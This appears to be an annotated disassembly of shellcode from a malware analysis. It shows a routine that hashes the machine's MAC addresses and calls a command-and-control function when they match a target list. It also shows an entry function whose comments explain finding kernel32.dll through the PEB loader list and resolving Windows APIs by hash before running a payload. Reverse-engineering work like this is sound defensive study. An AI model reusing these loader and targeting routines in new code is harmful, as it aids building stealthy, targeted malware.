ram:00000ecb    c745b03b4...    MOV                 dword ptr [EBP + -0x50],0xe2b6413b      
ram:00000ed2    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000ed4    8d7db4          LEA                 EDI,[EBP + -0x4c]                       
ram:00000ed7    ab              STOSD               ES:EDI                                  
ram:00000ed8    c745b8fae...    MOV                 dword ptr [EBP + -0x48],0x6ab0e3fa      
ram:00000edf    c745bcb27...    MOV                 dword ptr [EBP + -0x44],0xf2b7fb2       
ram:00000ee6    c745c07c2...    MOV                 dword ptr [EBP + -0x40],0x7fbf297c      
ram:00000eed    c745c42b0...    MOV                 dword ptr [EBP + -0x3c],0x3ff8032b      
ram:00000ef4    8d7dc8          LEA                 EDI,[EBP + -0x38]                       
ram:00000ef7    ab              STOSD               ES:EDI                                  
ram:00000ef8    894dcc          MOV                 dword ptr [EBP + -0x34],ECX             
ram:00000efb    c745d0d4b...    MOV                 dword ptr [EBP + -0x30],0x6758b9d4      
ram:00000f02    c745d41f4...    MOV                 dword ptr [EBP + -0x2c],0x5dbf471f      
ram:00000f09    c745d8cd0...    MOV                 dword ptr [EBP + -0x28],0x5d7008cd      
ram:00000f10    c745dc80d...    MOV                 dword ptr [EBP + -0x24],0x539ade80      
ram:00000f17    8d7de0          LEA                 EDI,[EBP + -0x20]                       
ram:00000f1a    ab              STOSD               ES:EDI                                  
ram:00000f1b    885de4          MOV                 byte ptr [EBP + -0x1c],BL               
ram:00000f1e    8d7de5          LEA                 EDI,[EBP + -0x1b]                       
ram:00000f21    ab              STOSD               ES:EDI                                  
ram:00000f22    ab              STOSD               ES:EDI                                  
ram:00000f23    ab              STOSD               ES:EDI                                  
ram:00000f24    ab              STOSD               ES:EDI                                  
ram:00000f25    66ab            STOSW               ES:EDI                                  
ram:00000f27    51              PUSH                ECX                                     
ram:00000f28    53              PUSH                EBX                                     
ram:00000f29    aa              STOSB               ES:EDI                                  
ram:00000f2a    e8b2f3ffff      CALL                md5_mac                                 ;int md5_mac(void * buffer, int only_...
ram:00000f2f    59              POP                 ECX                                     
ram:00000f30    59              POP                 ECX                                     
ram:00000f31    3bc3            CMP                 mac_cnt,EBX                             
ram:00000f33    7671            JBE                 LAB_00000fa6                            
ram:00000f35    8d7805          LEA                 EDI,[mac_cnt + 0x5]                     
ram:00000f38    6bff14          IMUL                dwSize,dwSize,0x14                      
ram:00000f3b    6a04            PUSH                0x4                                     
ram:00000f3d    6800300000      PUSH                DAT_00003000                            ;= 80h
ram:00000f42    57              PUSH                dwSize                                  
ram:00000f43    53              PUSH                EBX                                     
ram:00000f44    ff5604          CALL                dword ptr [ESI + 0x4]                   
ram:00000f47    57              PUSH                dwSize                                  
ram:00000f48    53              PUSH                EBX                                     
ram:00000f49    50              PUSH                buffer                                  
ram:00000f4a    8945fc          MOV                 dword ptr [EBP + -0x4],buffer           
ram:00000f4d    ff5624          CALL                dword ptr [ESI + 0x24]                  
ram:00000f50    83c40c          ADD                 ESP,0xc                                 
ram:00000f53    53              PUSH                EBX                                     
ram:00000f54    ff75fc          PUSH                dword ptr [EBP + -0x4]                  
ram:00000f57    e885f3ffff      CALL                md5_mac                                 ;int md5_mac(void * buffer, int only_...
ram:00000f5c    8bf8            MOV                 dwSize,mac_cnt2                         
ram:00000f5e    59              POP                 ECX                                     
ram:00000f5f    59              POP                 ECX                                     
ram:00000f60    3bfb            CMP                 dwSize,EBX                              
ram:00000f62    7642            JBE                 LAB_00000fa6                            
ram:00000f64    6a2c            PUSH                0x2c                                    
ram:00000f66    8d85b4fcffff    LEA                 mac_cnt2,[0xfffffcb4 + EBP]             
ram:00000f6c    53              PUSH                EBX                                     
ram:00000f6d    50              PUSH                mac_cnt2                                
ram:00000f6e    ff5624          CALL                dword ptr [ESI + 0x24]                  
ram:00000f71    83c40c          ADD                 ESP,0xc                                 
ram:00000f74    8d85b4fcffff    LEA                 mac_cnt2,[0xfffffcb4 + EBP]             
ram:00000f7a    50              PUSH                mac_cnt2                                
ram:00000f7b    57              PUSH                dwSize                                  
ram:00000f7c    ff75fc          PUSH                dword ptr [EBP + -0x4]                  
ram:00000f7f    8d85e0fcffff    LEA                 mac_cnt2,[0xfffffce0 + EBP]             
ram:00000f85    50              PUSH                mac_cnt2                                
ram:00000f86    56              PUSH                ESI                                     
ram:00000f87    e8a3f5ffff      CALL                cmp_md5                                 ;int cmp_md5(func_ptr_table_t * func_...
ram:00000f8c    83c414          ADD                 ESP,0x14                                
ram:00000f8f    85c0            TEST                matched,matched                         
ram:00000f91    740e            JZ                  LAB_00000fa1                            
ram:00000f93    8d85b4fcffff    LEA                 matched,[0xfffffcb4 + EBP]              
ram:00000f99    50              PUSH                matched                                 
ram:00000f9a    e8d8f3ffff      CALL                C2                                      ;void C2(mac_md5_list_entry_t * md5s_...
ram:00000f9f    eb05            JMP                 LAB_00000fa6                            
                            LAB_00000fa1:                 ;XREF[1,0]:   00000f91
ram:00000fa1    e8a6f6ffff      CALL                no_match                                ;void no_match(func_ptr_table_t * fun...
                            LAB_00000fa6:                 ;XREF[3,0]:   00000f33,00000f62,00000f9f
ram:00000fa6    5f              POP                 dwSize                                  
ram:00000fa7    5e              POP                 ESI                                     
ram:00000fa8    5b              POP                 EBX                                     
ram:00000fa9    c9              LEAVE                                                        
ram:00000faa    c3              RET                                                          
                            ;********************************************************************************************************
                            ;*  SHELLCODE ENTRY FUNCTION this will:                                                                 *
                            ;*  1. Get kernel32.dll                                                                                 *
                            ;*  2. resolve imports                                                                                  *
                            ;*  3. execute payload                                                                                  *
                            ;********************************************************************************************************
                            ;int entry(void)
          ;local_FS_O... NT_TIB *       FS_O...                      
          ;ldr_entry     _LDR_DATA_T...     ECX                      ;XREF[1,0]:   00000fcb
          ;GetProcAdd... int                EAX                      ;XREF[1,0]:   00001028
          ;import_res... int                EAX                      ;XREF[1,0]:   00001040
          ;kernel32_d... void *              -c                      ;XREF[1,0]:   00001038
          ;func_ptr_t... int[21]            -60                      ;XREF[3,0]:   00001033,0000103c,0000104a
          ;local_64      LDR_DATA_TA...     -64                      ;XREF[1,0]:   00001004
          ;flink         _LIST_ENTRY *  HASH...                      
          ;dll_name      wchar_t *      HASH...                      
          ;next_entry    _LDR_DATA_T... HASH...                      
ram:00000fab    55              PUSH                EBP                                     
ram:00000fac    8bec            MOV                 EBP,ESP                                 
ram:00000fae    83e4f8          AND                 ESP,0xfffffff8                          
ram:00000fb1    83ec60          SUB                 ESP,0x60                                
ram:00000fb4    56              PUSH                ESI                                     
ram:00000fb5    57              PUSH                EDI                                     
ram:00000fb6    64a118000000    MOV                 EAX,FS:[0x18]                           
ram:00000fbc    8b4030          MOV                 EAX,dword ptr [EAX + 0x30]              
ram:00000fbf    8b400c          MOV                 EAX,dword ptr [EAX + 0xc]               
                            ;1. get kernel32.dll
                            ;1.1. iterate over InInitializationOrderModuleList
                            ;1.2. match 1th, 6th and 9th character of module with `k`, `l`, `.` ... this matches `kernel32.dll`
ram:00000fc2    8b401c          MOV                 EAX,dword ptr [EAX + 0x1c]              
ram:00000fc5    8b08            MOV                 ECX,dword ptr [EAX]                     
ram:00000fc7    3bc8            CMP                 ECX,EAX                                 
ram:00000fc9    7439            JZ                  LAB_00001004                            
                            LAB_00000fcb:                 ;XREF[1,0]:   00001000
ram:00000fcb    8d41f0          LEA                 EAX,[ldr_entry + -0x10]                 
ram:00000fce    6683782c00      CMP                 word ptr [EAX + 0x2c],0x0               
ram:00000fd3    7433            JZ                  LAB_00001008                            
                            ;match the name of the module by comparing the 1st, 6th and 9th characters. This matches kernel32.dll
ram:00000fd5    8b5030          MOV                 EDX,dword ptr [EAX + 0x30]              
ram:00000fd8    0fb732          MOVZX               ESI,word ptr [EDX]                      
ram:00000fdb    83fe6b          CMP                 ESI,0x6b                                
ram:00000fde    7405            JZ                  LAB_00000fe5                            
ram:00000fe0    83fe4b          CMP                 ESI,0x4b                                
ram:00000fe3    7515            JNZ                 LAB_00000ffa                            
                            LAB_00000fe5:                 ;XREF[1,0]:   00000fde
ram:00000fe5    0fb7720a        MOVZX               ESI,word ptr [EDX + 0xa]                
ram:00000fe9    83fe6c          CMP                 ESI,0x6c                                
ram:00000fec    7405            JZ                  LAB_00000ff3                            
ram:00000fee    83fe4c          CMP                 ESI,0x4c                                
ram:00000ff1    7507            JNZ                 LAB_00000ffa                            
                            LAB_00000ff3:                 ;XREF[1,0]:   00000fec
ram:00000ff3    66837a102e      CMP                 word ptr [EDX + 0x10],0x2e              
ram:00000ff8    740e            JZ                  LAB_00001008                            
                            LAB_00000ffa:                 ;XREF[2,0]:   00000fe3,00000ff1
ram:00000ffa    8bd1            MOV                 EDX,ldr_entry                           
ram:00000ffc    8b0a            MOV                 ldr_entry,dword ptr [EDX]               
ram:00000ffe    3bca            CMP                 ldr_entry,EDX                           
ram:00001000    75c9            JNZ                 LAB_00000fcb                            
ram:00001002    eb04            JMP                 LAB_00001008                            
                            LAB_00001004:                 ;XREF[1,0]:   00000fc9
ram:00001004    8b44240c        MOV                 EAX,dword ptr [ESP + local_64+0x70]     
                            ;get the dll base (in this case of the matched kernel32.dll)
                            LAB_00001008:                 ;XREF[3,0]:   00000fd3,00000ff8,00001002
ram:00001008    8b7018          MOV                 ESI,dword ptr [EAX + 0x18]              
                            ;resolve LoadLibraryExW via the hash 431a42c9 and store in func_ptr_table[0]
                            ;also resolve c2cbc15a = GetProcAddress
ram:0000100b    85f6            TEST                ESI,ESI                                 
ram:0000100d    7444            JZ                  LAB_00001053                            
ram:0000100f    68c9421a43      PUSH                0x431a42c9                              
ram:00001014    56              PUSH                ESI                                     
ram:00001015    e8f6efffff      CALL                getAddrByHash                           ;int getAddrByHash(IMAGE_DOS_HEADER *...
ram:0000101a    8bf8            MOV                 EDI,EAX                                 
ram:0000101c    59              POP                 ldr_entry                               
ram:0000101d    59              POP                 ldr_entry                               
ram:0000101e    85ff            TEST                EDI,EDI                                 
ram:00001020    7431            JZ                  LAB_00001053                            
ram:00001022    685ac1cbc2      PUSH                0xc2cbc15a                              
ram:00001027    56              PUSH                ESI                                     
ram:00001028    e8e3efffff      CALL                getAddrByHash                           ;int getAddrByHash(IMAGE_DOS_HEADER *...
ram:0000102d    59              POP                 ldr_entry                               
ram:0000102e    59              POP                 ldr_entry                               
ram:0000102f    85c0            TEST                GetProcAddress,GetProcAddress           
ram:00001031    7420            JZ                  LAB_00001053                            
ram:00001033    8d442410        LEA                 GetProcAddress=>...,[ESP + 0x10]        
ram:00001037    50              PUSH                GetProcAddress                          
ram:00001038    89742468        MOV                 dword ptr [ESP +...,ESI                 
ram:0000103c    897c2414        MOV                 dword ptr [ESP +...,EDI                 
                            ;resolve the imports
ram:00001040    e855f0ffff      CALL                import_resolution                       ;undefined import_resolution(func_ptr...
ram:00001045    59              POP                 ldr_entry                               
ram:00001046    85c0            TEST                import_resolutio...,import_resolution...
ram:00001048    740c            JZ                  LAB_00001056                            
ram:0000104a    8d442410        LEA                 import_resolutio...,[ESP + 0x10]        
                            ;execute the payload
                            ;
ram:0000104e    e8fdf8ffff      CALL                payload                                 ;void payload(func_ptr_table_t * func...
                            LAB_00001053:                 ;XREF[3,0]:   0000100d,00001020,00001031
ram:00001053    33c0            XOR                 import_resolutio...,import_resolution...
ram:00001055    40              INC                 import_resolution_success               
                            LAB_00001056:                 ;XREF[1,0]:   00001048
ram:00001056    5f              POP                 EDI                                     
ram:00001057    5e              POP                 ESI                                     
ram:00001058    8be5            MOV                 ESP,EBP                                 
ram:0000105a    5d              POP                 EBP                                     
ram:0000105b    c3              RET